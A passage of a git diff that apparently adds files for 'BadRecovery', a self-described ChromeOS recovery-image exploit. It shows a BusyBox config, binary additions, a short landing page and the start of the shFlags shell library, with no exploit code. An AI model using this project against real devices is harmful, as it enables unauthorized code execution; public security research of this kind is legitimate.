CONFIG_FEATURE_VOLUMEID_SQUASHFS is not set +# CONFIG_FEATURE_VOLUMEID_SYSV is not set +# CONFIG_FEATURE_VOLUMEID_UBIFS is not set +# CONFIG_FEATURE_VOLUMEID_UDF is not set +# CONFIG_FEATURE_VOLUMEID_XFS is not set + +# +# Miscellaneous Utilities +# +# CONFIG_ADJTIMEX is not set +# CONFIG_ASCII is not set +# CONFIG_BBCONFIG is not set +# CONFIG_FEATURE_COMPRESS_BBCONFIG is not set +# CONFIG_BC is not set +# CONFIG_DC is not set +# CONFIG_FEATURE_DC_BIG is not set +# CONFIG_FEATURE_DC_LIBM is not set +# CONFIG_FEATURE_BC_INTERACTIVE is not set +# CONFIG_FEATURE_BC_LONG_OPTIONS is not set +# CONFIG_BEEP is not set +CONFIG_FEATURE_BEEP_FREQ=0 +CONFIG_FEATURE_BEEP_LENGTH_MS=0 +# CONFIG_CHAT is not set +# CONFIG_FEATURE_CHAT_NOFAIL is not set +# CONFIG_FEATURE_CHAT_TTY_HIFI is not set +# CONFIG_FEATURE_CHAT_IMPLICIT_CR is not set +# CONFIG_FEATURE_CHAT_SWALLOW_OPTS is not set +# CONFIG_FEATURE_CHAT_SEND_ESCAPES is not set +# CONFIG_FEATURE_CHAT_VAR_ABORT_LEN is not set +# CONFIG_FEATURE_CHAT_CLR_ABORT is not set +# CONFIG_CONSPY is not set +# CONFIG_CROND is not set +# CONFIG_FEATURE_CROND_D is not set +# CONFIG_FEATURE_CROND_CALL_SENDMAIL is not set +# CONFIG_FEATURE_CROND_SPECIAL_TIMES is not set +CONFIG_FEATURE_CROND_DIR="" +# CONFIG_CRONTAB is not set +# CONFIG_DEVFSD is not set +# CONFIG_DEVFSD_MODLOAD is not set +# CONFIG_DEVFSD_FG_NP is not set +# CONFIG_DEVFSD_VERBOSE is not set +# CONFIG_FEATURE_DEVFS is not set +# CONFIG_DEVMEM is not set +# CONFIG_FBSPLASH is not set +# CONFIG_FLASH_ERASEALL is not set +# CONFIG_FLASH_LOCK is not set +# CONFIG_FLASH_UNLOCK is not set +# CONFIG_FLASHCP is not set +# CONFIG_HDPARM is not set +# CONFIG_FEATURE_HDPARM_GET_IDENTITY is not set +# CONFIG_FEATURE_HDPARM_HDIO_SCAN_HWIF is not set +# CONFIG_FEATURE_HDPARM_HDIO_UNREGISTER_HWIF is not set +# CONFIG_FEATURE_HDPARM_HDIO_DRIVE_RESET is not set +# CONFIG_FEATURE_HDPARM_HDIO_TRISTATE_HWIF is not set +# CONFIG_FEATURE_HDPARM_HDIO_GETSET_DMA is not set +# CONFIG_HEXEDIT is not set +# CONFIG_I2CGET is not set +# CONFIG_I2CSET is not set +# CONFIG_I2CDUMP is not set +# CONFIG_I2CDETECT is not set +# CONFIG_I2CTRANSFER is not set +# CONFIG_INOTIFYD is not set +# CONFIG_LESS is not set +CONFIG_FEATURE_LESS_MAXLINES=0 +# CONFIG_FEATURE_LESS_BRACKETS is not set +# CONFIG_FEATURE_LESS_FLAGS is not set +# CONFIG_FEATURE_LESS_TRUNCATE is not set +# CONFIG_FEATURE_LESS_MARKS is not set +# CONFIG_FEATURE_LESS_REGEXP is not set +# CONFIG_FEATURE_LESS_WINCH is not set +# CONFIG_FEATURE_LESS_ASK_TERMINAL is not set +# CONFIG_FEATURE_LESS_DASHCMD is not set +# CONFIG_FEATURE_LESS_LINENUMS is not set +# CONFIG_FEATURE_LESS_RAW is not set +# CONFIG_FEATURE_LESS_ENV is not set +# CONFIG_LSSCSI is not set +# CONFIG_MAKEDEVS is not set +# CONFIG_FEATURE_MAKEDEVS_LEAF is not set +# CONFIG_FEATURE_MAKEDEVS_TABLE is not set +# CONFIG_MAN is not set +# CONFIG_MICROCOM is not set +# CONFIG_MIM is not set +# CONFIG_MT is not set +# CONFIG_NANDWRITE is not set +# CONFIG_NANDDUMP is not set +# CONFIG_PARTPROBE is not set +# CONFIG_RAIDAUTORUN is not set +# CONFIG_READAHEAD is not set +# CONFIG_RFKILL is not set +# CONFIG_RUNLEVEL is not set +# CONFIG_RX is not set +# CONFIG_SEEDRNG is not set +# CONFIG_SETFATTR is not set +# CONFIG_SETSERIAL is not set +# CONFIG_STRINGS is not set +# CONFIG_TIME is not set +# CONFIG_TREE is not set +# CONFIG_TS is not set +# CONFIG_TTYSIZE is not set +# CONFIG_UBIATTACH is not set +# CONFIG_UBIDETACH is not set +# CONFIG_UBIMKVOL is not set +# CONFIG_UBIRMVOL is not set +# CONFIG_UBIRSVOL is not set +# CONFIG_UBIUPDATEVOL is not set +# CONFIG_UBIRENAME is not set +# CONFIG_VOLNAME is not set +# CONFIG_WATCHDOG is not set +# CONFIG_FEATURE_WATCHDOG_OPEN_TWICE is not set + +# +# Networking Utilities +# +# CONFIG_FEATURE_IPV6 is not set +# CONFIG_FEATURE_UNIX_LOCAL is not set +# CONFIG_FEATURE_PREFER_IPV4_ADDRESS is not set +# CONFIG_VERBOSE_RESOLUTION_ERRORS is not set +# CONFIG_FEATURE_ETC_NETWORKS is not set +# CONFIG_FEATURE_ETC_SERVICES is not set +# CONFIG_FEATURE_HWIB is not set +# CONFIG_FEATURE_TLS_SHA1 is not set +# CONFIG_ARP is not set +# CONFIG_ARPING is not set +# CONFIG_BRCTL is not set +# CONFIG_FEATURE_BRCTL_FANCY is not set +# CONFIG_FEATURE_BRCTL_SHOW is not set +# CONFIG_DNSD is not set +# CONFIG_ETHER_WAKE is not set +# CONFIG_FTPD is not set +# CONFIG_FEATURE_FTPD_WRITE is not set +# CONFIG_FEATURE_FTPD_ACCEPT_BROKEN_LIST is not set +# CONFIG_FEATURE_FTPD_AUTHENTICATION is not set +# CONFIG_FTPGET is not set +# CONFIG_FTPPUT is not set +# CONFIG_FEATURE_FTPGETPUT_LONG_OPTIONS is not set +# CONFIG_HOSTNAME is not set +# CONFIG_DNSDOMAINNAME is not set +# CONFIG_HTTPD is not set +CONFIG_FEATURE_HTTPD_PORT_DEFAULT=0 +# CONFIG_FEATURE_HTTPD_RANGES is not set +# CONFIG_FEATURE_HTTPD_SETUID is not set +# CONFIG_FEATURE_HTTPD_BASIC_AUTH is not set +# CONFIG_FEATURE_HTTPD_AUTH_MD5 is not set +# CONFIG_FEATURE_HTTPD_CGI is not set +# CONFIG_FEATURE_HTTPD_CONFIG_WITH_SCRIPT_INTERPR is not set +# CONFIG_FEATURE_HTTPD_SET_REMOTE_PORT_TO_ENV is not set +# CONFIG_FEATURE_HTTPD_ENCODE_URL_STR is not set +# CONFIG_FEATURE_HTTPD_ERROR_PAGES is not set +# CONFIG_FEATURE_HTTPD_PROXY is not set +# CONFIG_FEATURE_HTTPD_GZIP is not set +# CONFIG_FEATURE_HTTPD_ETAG is not set +# CONFIG_FEATURE_HTTPD_LAST_MODIFIED is not set +# CONFIG_FEATURE_HTTPD_DATE is not set +# CONFIG_FEATURE_HTTPD_ACL_IP is not set +# CONFIG_IFCONFIG is not set +# CONFIG_FEATURE_IFCONFIG_STATUS is not set +# CONFIG_FEATURE_IFCONFIG_SLIP is not set +# CONFIG_FEATURE_IFCONFIG_MEMSTART_IOADDR_IRQ is not set +# CONFIG_FEATURE_IFCONFIG_HW is not set +# CONFIG_FEATURE_IFCONFIG_BROADCAST_PLUS is not set +# CONFIG_IFENSLAVE is not set +# CONFIG_IFPLUGD is not set +# CONFIG_IFUP is not set +# CONFIG_IFDOWN is not set +CONFIG_IFUPDOWN_IFSTATE_PATH="" +# CONFIG_FEATURE_IFUPDOWN_IP is not set +# CONFIG_FEATURE_IFUPDOWN_IPV4 is not set +# CONFIG_FEATURE_IFUPDOWN_IPV6 is not set +# CONFIG_FEATURE_IFUPDOWN_MAPPING is not set +# CONFIG_FEATURE_IFUPDOWN_EXTERNAL_DHCP is not set +# CONFIG_INETD is not set +# CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_ECHO is not set +# CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_DISCARD is not set +# CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_TIME is not set +# CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_DAYTIME is not set +# CONFIG_FEATURE_INETD_SUPPORT_BUILTIN_CHARGEN is not set +# CONFIG_FEATURE_INETD_RPC is not set +# CONFIG_IP is not set +# CONFIG_IPADDR is not set +# CONFIG_IPLINK is not set +# CONFIG_IPROUTE is not set +# CONFIG_IPTUNNEL is not set +# CONFIG_IPRULE is not set +# CONFIG_IPNEIGH is not set +# CONFIG_FEATURE_IP_ADDRESS is not set +# CONFIG_FEATURE_IP_LINK is not set +# CONFIG_FEATURE_IP_ROUTE is not set +CONFIG_FEATURE_IP_ROUTE_DIR="" +# CONFIG_FEATURE_IP_TUNNEL is not set +# CONFIG_FEATURE_IP_RULE is not set +# CONFIG_FEATURE_IP_NEIGH is not set +# CONFIG_FEATURE_IP_RARE_PROTOCOLS is not set +# CONFIG_IPCALC is not set +# CONFIG_FEATURE_IPCALC_LONG_OPTIONS is not set +# CONFIG_FEATURE_IPCALC_FANCY is not set +# CONFIG_FAKEIDENTD is not set +# CONFIG_NAMEIF is not set +# CONFIG_FEATURE_NAMEIF_EXTENDED is not set +# CONFIG_NBDCLIENT is not set +# CONFIG_NC is not set +# CONFIG_NETCAT is not set +# CONFIG_NC_SERVER is not set +# CONFIG_NC_EXTRA is not set +# CONFIG_NC_110_COMPAT is not set +# CONFIG_NETSTAT is not set +# CONFIG_FEATURE_NETSTAT_WIDE is not set +# CONFIG_FEATURE_NETSTAT_PRG is not set +# CONFIG_NSLOOKUP is not set +# CONFIG_FEATURE_NSLOOKUP_BIG is not set +# CONFIG_FEATURE_NSLOOKUP_LONG_OPTIONS is not set +# CONFIG_NTPD is not set +# CONFIG_FEATURE_NTPD_SERVER is not set +# CONFIG_FEATURE_NTPD_CONF is not set +# CONFIG_FEATURE_NTP_AUTH is not set +# CONFIG_PING is not set +# CONFIG_PING6 is not set +# CONFIG_FEATURE_FANCY_PING is not set +# CONFIG_PSCAN is not set +# CONFIG_ROUTE is not set +# CONFIG_SLATTACH is not set +# CONFIG_SSL_CLIENT is not set +# CONFIG_TC is not set +# CONFIG_FEATURE_TC_INGRESS is not set +# CONFIG_TCPSVD is not set +# CONFIG_UDPSVD is not set +# CONFIG_TELNET is not set +# CONFIG_FEATURE_TELNET_TTYPE is not set +# CONFIG_FEATURE_TELNET_AUTOLOGIN is not set +# CONFIG_FEATURE_TELNET_WIDTH is not set +# CONFIG_TELNETD is not set +# CONFIG_FEATURE_TELNETD_STANDALONE is not set +CONFIG_FEATURE_TELNETD_PORT_DEFAULT=0 +# CONFIG_FEATURE_TELNETD_INETD_WAIT is not set +# CONFIG_TFTP is not set +# CONFIG_FEATURE_TFTP_PROGRESS_BAR is not set +# CONFIG_FEATURE_TFTP_HPA_COMPAT is not set +# CONFIG_TFTPD is not set +# CONFIG_FEATURE_TFTP_GET is not set +# CONFIG_FEATURE_TFTP_PUT is not set +# CONFIG_FEATURE_TFTP_BLOCKSIZE is not set +# CONFIG_TFTP_DEBUG is not set +# CONFIG_TLS is not set +# CONFIG_TRACEROUTE is not set +# CONFIG_TRACEROUTE6 is not set +# CONFIG_FEATURE_TRACEROUTE_VERBOSE is not set +# CONFIG_FEATURE_TRACEROUTE_USE_ICMP is not set +# CONFIG_TUNCTL is not set +# CONFIG_FEATURE_TUNCTL_UG is not set +# CONFIG_VCONFIG is not set +# CONFIG_WGET is not set +# CONFIG_FEATURE_WGET_LONG_OPTIONS is not set +# CONFIG_FEATURE_WGET_STATUSBAR is not set +# CONFIG_FEATURE_WGET_FTP is not set +# CONFIG_FEATURE_WGET_AUTHENTICATION is not set +# CONFIG_FEATURE_WGET_TIMEOUT is not set +# CONFIG_FEATURE_WGET_HTTPS is not set +# CONFIG_FEATURE_WGET_OPENSSL is not set +# CONFIG_WHOIS is not set +# CONFIG_ZCIP is not set +# CONFIG_UDHCPD is not set +# CONFIG_FEATURE_UDHCPD_BASE_IP_ON_MAC is not set +# CONFIG_FEATURE_UDHCPD_WRITE_LEASES_EARLY is not set +CONFIG_DHCPD_LEASES_FILE="" +# CONFIG_DUMPLEASES is not set +# CONFIG_DHCPRELAY is not set +# CONFIG_UDHCPC is not set +# CONFIG_FEATURE_UDHCPC_ARPING is not set +# CONFIG_FEATURE_UDHCPC_SANITIZEOPT is not set +CONFIG_UDHCPC_DEFAULT_SCRIPT="" +CONFIG_UDHCPC6_DEFAULT_SCRIPT="" +# CONFIG_UDHCPC6 is not set +# CONFIG_FEATURE_UDHCPC6_RFC3646 is not set +# CONFIG_FEATURE_UDHCPC6_RFC4704 is not set +# CONFIG_FEATURE_UDHCPC6_RFC4833 is not set +# CONFIG_FEATURE_UDHCPC6_RFC5970 is not set +CONFIG_UDHCPC_DEFAULT_INTERFACE="" +# CONFIG_FEATURE_UDHCP_PORT is not set +CONFIG_UDHCP_DEBUG=0 +CONFIG_UDHCPC_SLACK_FOR_BUGGY_SERVERS=0 +# CONFIG_FEATURE_UDHCP_RFC3397 is not set +# CONFIG_FEATURE_UDHCP_8021Q is not set +CONFIG_IFUPDOWN_UDHCPC_CMD_OPTIONS="" + +# +# Print Utilities +# +# CONFIG_LPD is not set +# CONFIG_LPR is not set +# CONFIG_LPQ is not set + +# +# Mail Utilities +# +CONFIG_FEATURE_MIME_CHARSET="" +# CONFIG_MAKEMIME is not set +# CONFIG_POPMAILDIR is not set +# CONFIG_FEATURE_POPMAILDIR_DELIVERY is not set +# CONFIG_REFORMIME is not set +# CONFIG_FEATURE_REFORMIME_COMPAT is not set +# CONFIG_SENDMAIL is not set + +# +# Process Utilities +# +CONFIG_FEATURE_FAST_TOP=y +# CONFIG_FEATURE_SHOW_THREADS is not set +# CONFIG_FREE is not set +# CONFIG_FUSER is not set +# CONFIG_IOSTAT is not set +# CONFIG_KILL is not set +# CONFIG_KILLALL is not set +# CONFIG_KILLALL5 is not set +# CONFIG_LSOF is not set +# CONFIG_MPSTAT is not set +# CONFIG_NMETER is not set +# CONFIG_PGREP is not set +# CONFIG_PKILL is not set +# CONFIG_PIDOF is not set +# CONFIG_FEATURE_PIDOF_SINGLE is not set +# CONFIG_FEATURE_PIDOF_OMIT is not set +# CONFIG_PMAP is not set +# CONFIG_POWERTOP is not set +# CONFIG_FEATURE_POWERTOP_INTERACTIVE is not set +# CONFIG_PS is not set +# CONFIG_FEATURE_PS_WIDE is not set +# CONFIG_FEATURE_PS_LONG is not set +# CONFIG_FEATURE_PS_TIME is not set +# CONFIG_FEATURE_PS_UNUSUAL_SYSTEMS is not set +# CONFIG_FEATURE_PS_ADDITIONAL_COLUMNS is not set +# CONFIG_PSTREE is not set +# CONFIG_PWDX is not set +# CONFIG_SMEMCAP is not set +# CONFIG_BB_SYSCTL is not set +# CONFIG_TOP is not set +# CONFIG_FEATURE_TOP_INTERACTIVE is not set +# CONFIG_FEATURE_TOP_CPU_USAGE_PERCENTAGE is not set +# CONFIG_FEATURE_TOP_CPU_GLOBAL_PERCENTS is not set +# CONFIG_FEATURE_TOP_SMP_CPU is not set +# CONFIG_FEATURE_TOP_DECIMALS is not set +# CONFIG_FEATURE_TOP_SMP_PROCESS is not set +# CONFIG_FEATURE_TOPMEM is not set +# CONFIG_UPTIME is not set +# CONFIG_FEATURE_UPTIME_UTMP_SUPPORT is not set +# CONFIG_WATCH is not set + +# +# Runit Utilities +# +# CONFIG_CHPST is not set +# CONFIG_SETUIDGID is not set +# CONFIG_ENVUIDGID is not set +# CONFIG_ENVDIR is not set +# CONFIG_SOFTLIMIT is not set +# CONFIG_RUNSV is not set +# CONFIG_RUNSVDIR is not set +# CONFIG_FEATURE_RUNSVDIR_LOG is not set +# CONFIG_SV is not set +CONFIG_SV_DEFAULT_SERVICE_DIR="" +# CONFIG_SVC is not set +# CONFIG_SVOK is not set +# CONFIG_SVLOGD is not set +# CONFIG_CHCON is not set +# CONFIG_GETENFORCE is not set +# CONFIG_GETSEBOOL is not set +# CONFIG_LOAD_POLICY is not set +# CONFIG_MATCHPATHCON is not set +# CONFIG_RUNCON is not set +# CONFIG_SELINUXENABLED is not set +# CONFIG_SESTATUS is not set +# CONFIG_SETENFORCE is not set +# CONFIG_SETFILES is not set +# CONFIG_FEATURE_SETFILES_CHECK_OPTION is not set +# CONFIG_RESTORECON is not set +# CONFIG_SETSEBOOL is not set + +# +# Shells +# +CONFIG_SH_IS_ASH=y +# CONFIG_SH_IS_HUSH is not set +# CONFIG_SH_IS_NONE is not set +# CONFIG_BASH_IS_ASH is not set +# CONFIG_BASH_IS_HUSH is not set +CONFIG_BASH_IS_NONE=y +CONFIG_SHELL_ASH=y +CONFIG_ASH=y +CONFIG_ASH_OPTIMIZE_FOR_SIZE=y +CONFIG_ASH_INTERNAL_GLOB=y +CONFIG_ASH_BASH_COMPAT=y +# CONFIG_ASH_BASH_SOURCE_CURDIR is not set +CONFIG_ASH_BASH_NOT_FOUND_HOOK=y +CONFIG_ASH_JOB_CONTROL=y +CONFIG_ASH_ALIAS=y +CONFIG_ASH_RANDOM_SUPPORT=y +CONFIG_ASH_EXPAND_PRMT=y +CONFIG_ASH_IDLE_TIMEOUT=y +CONFIG_ASH_MAIL=y +CONFIG_ASH_ECHO=y +CONFIG_ASH_PRINTF=y +CONFIG_ASH_TEST=y +CONFIG_ASH_SLEEP=y +CONFIG_ASH_HELP=y +CONFIG_ASH_GETOPTS=y +CONFIG_ASH_CMDCMD=y +# CONFIG_CTTYHACK is not set +# CONFIG_HUSH is not set +CONFIG_SHELL_HUSH=y +CONFIG_HUSH_BASH_COMPAT=y +CONFIG_HUSH_BRACE_EXPANSION=y +# CONFIG_HUSH_BASH_SOURCE_CURDIR is not set +CONFIG_HUSH_LINENO_VAR=y +CONFIG_HUSH_INTERACTIVE=y +CONFIG_HUSH_SAVEHISTORY=y +CONFIG_HUSH_JOB=y +CONFIG_HUSH_TICK=y +CONFIG_HUSH_IF=y +CONFIG_HUSH_LOOPS=y +CONFIG_HUSH_CASE=y +CONFIG_HUSH_FUNCTIONS=y +CONFIG_HUSH_LOCAL=y +CONFIG_HUSH_RANDOM_SUPPORT=y +CONFIG_HUSH_MODE_X=y +CONFIG_HUSH_ECHO=y +CONFIG_HUSH_PRINTF=y +CONFIG_HUSH_TEST=y +CONFIG_HUSH_HELP=y +CONFIG_HUSH_EXPORT=y +CONFIG_HUSH_EXPORT_N=y +CONFIG_HUSH_READONLY=y +CONFIG_HUSH_KILL=y +CONFIG_HUSH_WAIT=y +CONFIG_HUSH_COMMAND=y +CONFIG_HUSH_TRAP=y +CONFIG_HUSH_TYPE=y +CONFIG_HUSH_TIMES=y +CONFIG_HUSH_READ=y +CONFIG_HUSH_SET=y +CONFIG_HUSH_UNSET=y +CONFIG_HUSH_ULIMIT=y +CONFIG_HUSH_UMASK=y +CONFIG_HUSH_GETOPTS=y +# CONFIG_HUSH_MEMLEAK is not set + +# +# Options common to all shells +# +CONFIG_FEATURE_SH_MATH=y +CONFIG_FEATURE_SH_MATH_64=y +CONFIG_FEATURE_SH_MATH_BASE=y +CONFIG_FEATURE_SH_EXTRA_QUIET=y +# CONFIG_FEATURE_SH_STANDALONE is not set +# CONFIG_FEATURE_SH_NOFORK is not set +CONFIG_FEATURE_SH_READ_FRAC=y +CONFIG_FEATURE_SH_HISTFILESIZE=y +CONFIG_FEATURE_SH_EMBEDDED_SCRIPTS=y + +# +# System Logging Utilities +# +# CONFIG_KLOGD is not set +# CONFIG_FEATURE_KLOGD_KLOGCTL is not set +# CONFIG_LOGGER is not set +# CONFIG_LOGREAD is not set +# CONFIG_FEATURE_LOGREAD_REDUCED_LOCKING is not set +# CONFIG_SYSLOGD is not set +# CONFIG_FEATURE_ROTATE_LOGFILE is not set +# CONFIG_FEATURE_REMOTE_LOG is not set +# CONFIG_FEATURE_SYSLOGD_DUP is not set +# CONFIG_FEATURE_SYSLOGD_CFG is not set +# CONFIG_FEATURE_SYSLOGD_PRECISE_TIMESTAMPS is not set +CONFIG_FEATURE_SYSLOGD_READ_BUFFER_SIZE=0 +# CONFIG_FEATURE_IPC_SYSLOG is not set +CONFIG_FEATURE_IPC_SYSLOG_BUFFER_SIZE=0 +# CONFIG_FEATURE_KMSG_SYSLOG is not set diff --git a/busybox/x86/busybox b/busybox/x86/busybox new file mode 100644 index 0000000..31accc8 Binary files /dev/null and b/busybox/x86/busybox differ diff --git a/encstateful/devicesettings.tar.gz b/encstateful/devicesettings.tar.gz new file mode 100644 index 0000000..c4832bb Binary files /dev/null and b/encstateful/devicesettings.tar.gz differ diff --git a/encstateful/whitelist.tar.gz b/encstateful/whitelist.tar.gz new file mode 100644 index 0000000..19a3383 Binary files /dev/null and b/encstateful/whitelist.tar.gz differ diff --git a/index.html b/index.html new file mode 100644 index 0000000..9c97697 --- /dev/null +++ b/index.html @@ -0,0 +1,28 @@ + + + + + + BadRecovery + + + +
+

BadRecovery

+

+ BadRecovery (formerly OlyBmmer) is an exploit for ChromeOS devices, +
leveraging a vulnerability in recovery images to get arbitrary code execution or to chain to other exploits. +

+

+ The exploit and writeup were released to the public on October 5th, 2024. +

+
+
+

+ Read more on the GitHub. +
Writeup +
Web builder +

+
+ + diff --git a/lib/bin/aarch64/cgpt b/lib/bin/aarch64/cgpt new file mode 100644 index 0000000..a2af275 Binary files /dev/null and b/lib/bin/aarch64/cgpt differ diff --git a/lib/bin/aarch64/sfdisk b/lib/bin/aarch64/sfdisk new file mode 100644 index 0000000..61fac1f Binary files /dev/null and b/lib/bin/aarch64/sfdisk differ diff --git a/lib/bin/i386/cgpt b/lib/bin/i386/cgpt new file mode 100644 index 0000000..ffd1032 Binary files /dev/null and b/lib/bin/i386/cgpt differ diff --git a/lib/bin/i386/sfdisk b/lib/bin/i386/sfdisk new file mode 100644 index 0000000..7e3c090 Binary files /dev/null and b/lib/bin/i386/sfdisk differ diff --git a/lib/bin/x86_64/cgpt b/lib/bin/x86_64/cgpt new file mode 100644 index 0000000..16f8fa0 Binary files /dev/null and b/lib/bin/x86_64/cgpt differ diff --git a/lib/bin/x86_64/sfdisk b/lib/bin/x86_64/sfdisk new file mode 100644 index 0000000..ddda90a Binary files /dev/null and b/lib/bin/x86_64/sfdisk differ diff --git a/lib/shflags b/lib/shflags new file mode 100644 index 0000000..8eac39a --- /dev/null +++ b/lib/shflags @@ -0,0 +1,1215 @@ +# vim:et:ft=sh:sts=2:sw=2 +# +# Copyright 2008-2023 Kate Ward. All Rights Reserved. +# Released under the Apache License 2.0 license. +# http://www.apache.org/licenses/LICENSE-2.0 +# +# shFlags is an advanced command-line flag library for Unix shell scripts. +# +# Author: kate.ward@forestent.com (Kate Ward) +# https://github.com/kward/shflags +# +# This module implements something like the gflags library available +# from https://github.com/gflags/gflags. +# +# FLAG TYPES: This is a list of the DEFINE_*'s that you can do. All flags take +# a name, default value, help-string, and optional 'short' name (one-letter +# name). Some flags have other arguments, which are described with the flag. +# +# DEFINE_string: takes any input, and interprets it as a string. +# +# DEFINE_boolean: does not take any arguments. Say --myflag to set +# FLAGS_myflag to true, or --nomyflag to set FLAGS_myflag to false. For short +# flags, passing the flag on the command-line negates the default value, i.e. +# if the default is true, passing the flag sets the value to false. +# +# DEFINE_float: takes an input and interprets it as a floating point number. As +# shell does not support floats per-se, the input is merely validated as +# being a valid floating point value. +# +# DEFINE_integer: takes an input and interprets it as an integer. +# +# SPECIAL FLAGS: There are a few flags that have special meaning: +# --help (or -?) prints a list of all the flags in a human-readable fashion +# --flagfile=foo read flags from foo. (not implemented yet) +# -- as in getopt(), terminates flag-processing +# +# EXAMPLE USAGE: +# +# -- begin hello.sh -- +# #! /bin/sh +# . ./shflags +# DEFINE_string name 'world' "somebody's name" n +# FLAGS "$@" || exit $? +# eval set -- "${FLAGS_ARGV}" +# echo "Hello, ${FLAGS_name}." +# -- end hello.sh -- +# +# $ ./hello.sh -n Kate +# Hello, Kate. +# +# CUSTOMIZABLE BEHAVIOR: +# +# A script can override the default 'getopt' command by providing the path to +# an alternate implementation by defining the FLAGS_GETOPT_CMD variable. +# +# NOTES: +# +# * Not all systems include a getopt version that supports long flags. On these +# systems, only short flags are recognized. + +#============================================================================== +# shFlags +# +# Shared attributes: +# flags_error: last error message +# flags_output: last function output (rarely valid) +# flags_return: last return value +# +# __flags_longNames: list of long names for all flags +# __flags_shortNames: list of short names for all flags +# __flags_boolNames: list of boolean flag names +# +# __flags_opts: options parsed by getopt +# +# Per-flag attributes: +# FLAGS_: contains value of flag named 'flag_name' +# __flags__default: the default flag value +# __flags__help: the flag help string +# __flags__short: the flag short name +# __flags__type: the flag type +# +# Notes: +# - lists of strings are space separated, and a null value is the '~' char. +# +### ShellCheck (http://www.shellcheck.net/) +# expr may be antiquated, but it is the only solution in some cases. +# shellcheck disable=SC2003 +# $() are not fully portable (POSIX != portable). +# shellcheck disable=SC2006 +# [ p -a q ] are well defined enough (vs [ p ] && [ q ]). +# shellcheck disable=SC2166 + +# Return if FLAGS already loaded. +if [ -n "${FLAGS_VERSION:-}" ]; then return 0; fi +FLAGS_VERSION='1.4.0pre' + +# Return values that scripts can use. +FLAGS_TRUE=0 +FLAGS_FALSE=1 +FLAGS_ERROR=2 + +# shlib_expr_cmd determines a reasonable default `expr` command. +# https://github.com/kward/shlib +# +# Use like: +# EXPR_CMD=$(shlib_expr_cmd) +# ${EXPR_CMD} 1 + 1 +# +# Args: +# none +# Output: +# string: expr command +# Return +# int: 0 upon success +shlib_expr_cmd() { + if [ "$(uname -s)" = 'BSD' ]; then + echo 'gexpr --' + return 0 + fi + + _shlib_expr_cmd_='expr --' + # shellcheck disable=SC2003 + if _shlib_output_=$(${_shlib_expr_cmd_} 2>&1); then + if [ "${_shlib_output_}" = '--' ]; then + # We are likely running inside BusyBox. + _shlib_expr_cmd_='expr' + fi + fi + + echo "${_shlib_expr_cmd_}" + unset _shlib_expr_cmd_ _shlib_output_ +} +__FLAGS_EXPR_CMD=`shlib_expr_cmd` + +# Commands a user can override if desired. +FLAGS_EXPR_CMD=${FLAGS_EXPR_CMD:-${__FLAGS_EXPR_CMD}} +FLAGS_GETOPT_CMD=${FLAGS_GETOPT_CMD:-getopt} + +# +# Logging functions. +# + +# Logging levels. +FLAGS_LEVEL_DEBUG=0 +FLAGS_LEVEL_INFO=1 +FLAGS_LEVEL_WARN=2 +FLAGS_LEVEL_ERROR=3 +FLAGS_LEVEL_FATAL=4 +__FLAGS_LEVEL_DEFAULT=${FLAGS_LEVEL_WARN} +__flags_level=${__FLAGS_LEVEL_DEFAULT} # Current logging level. + +_flags_debug() { + if [ "${__flags_level}" -le "${FLAGS_LEVEL_DEBUG}" ]; then echo "flags:DEBUG $*" >&2; fi +} +_flags_info() { + if [ "${__flags_level}" -le "${FLAGS_LEVEL_INFO}" ]; then echo "flags:INFO $*" >&2; fi +} +_flags_warn() { + if [ "${__flags_level}" -le "${FLAGS_LEVEL_WARN}" ]; then echo "flags:WARN $*" >&2; fi +} +_flags_error() { + if [ "${__flags_level}" -le "${FLAGS_LEVEL_ERROR}" ]; then echo "flags:ERROR $*" >&2; fi +} +_flags_fatal() { + echo "flags:FATAL $*" >&2 + exit ${FLAGS_ERROR} +} + +# Get the logging level. +flags_loggingLevel() { echo "${__flags_level}"; } + +# Set the logging level by overriding the `__flags_level` variable. +# +# Args: +# _flags_level_: integer: new logging level +# Returns: +# nothing +flags_setLoggingLevel() { + [ $# -ne 1 ] && _flags_fatal "flags_setLevel(): logging level missing" + _flags_level_=$1 + if ! [ "${_flags_level_}" -ge "${FLAGS_LEVEL_DEBUG}" -a "${_flags_level_}" -le "${FLAGS_LEVEL_FATAL}" ]; then + _flags_fatal "Invalid logging level '${_flags_level_}' specified." + fi + __flags_level=$1 + unset _flags_level_ +} + +# +# Shell checks. +# + +if [ -n "${ZSH_VERSION:-}" ]; then + setopt |grep "^shwordsplit$" >/dev/null + if [ $? -ne ${FLAGS_TRUE} ]; then + _flags_fatal 'zsh shwordsplit option is required for proper zsh operation' + fi + if [ -z "${FLAGS_PARENT:-}" ]; then + _flags_fatal "zsh does not pass \$0 through properly. please declare' \ +\"FLAGS_PARENT=\$0\" before calling shFlags" + fi +fi + +# Can we use built-ins? +( echo "${FLAGS_TRUE#0}"; ) >/dev/null 2>&1 +if [ $? -eq ${FLAGS_TRUE} ]; then + __FLAGS_USE_BUILTIN=${FLAGS_TRUE} +else + __FLAGS_USE_BUILTIN=${FLAGS_FALSE} +fi + +# +# Constants. +# + +# Reserved flag names. +__FLAGS_RESERVED_LIST=' ARGV ERROR FALSE GETOPT_CMD HELP PARENT TRUE ' +__FLAGS_RESERVED_LIST="${__FLAGS_RESERVED_LIST} VERSION " + +# Determined getopt version (standard or enhanced). +__FLAGS_GETOPT_VERS_STD=0 +__FLAGS_GETOPT_VERS_ENH=1 + +# shellcheck disable=SC2120 +_flags_getopt_vers() { + _flags_getopt_cmd_=${1:-${FLAGS_GETOPT_CMD}} + case "`${_flags_getopt_cmd_} -lfoo '' --foo 2>&1`" in + ' -- --foo') echo ${__FLAGS_GETOPT_VERS_STD} ;; + ' --foo --') echo ${__FLAGS_GETOPT_VERS_ENH} ;; + # Unrecognized output. Assuming standard getopt version. + *) echo ${__FLAGS_GETOPT_VERS_STD} ;; + esac + unset _flags_getopt_cmd_ +} +# shellcheck disable=SC2119 +__FLAGS_GETOPT_VERS=`_flags_getopt_vers` + +# getopt optstring lengths +__FLAGS_OPTSTR_SHORT=0 +__FLAGS_OPTSTR_LONG=1 + +__FLAGS_NULL='~' + +# Flag info strings. +__FLAGS_INFO_DEFAULT='default' +__FLAGS_INFO_HELP='help' +__FLAGS_INFO_SHORT='short' +__FLAGS_INFO_TYPE='type' + +# Flag lengths. +__FLAGS_LEN_SHORT=0 +__FLAGS_LEN_LONG=1 + +# 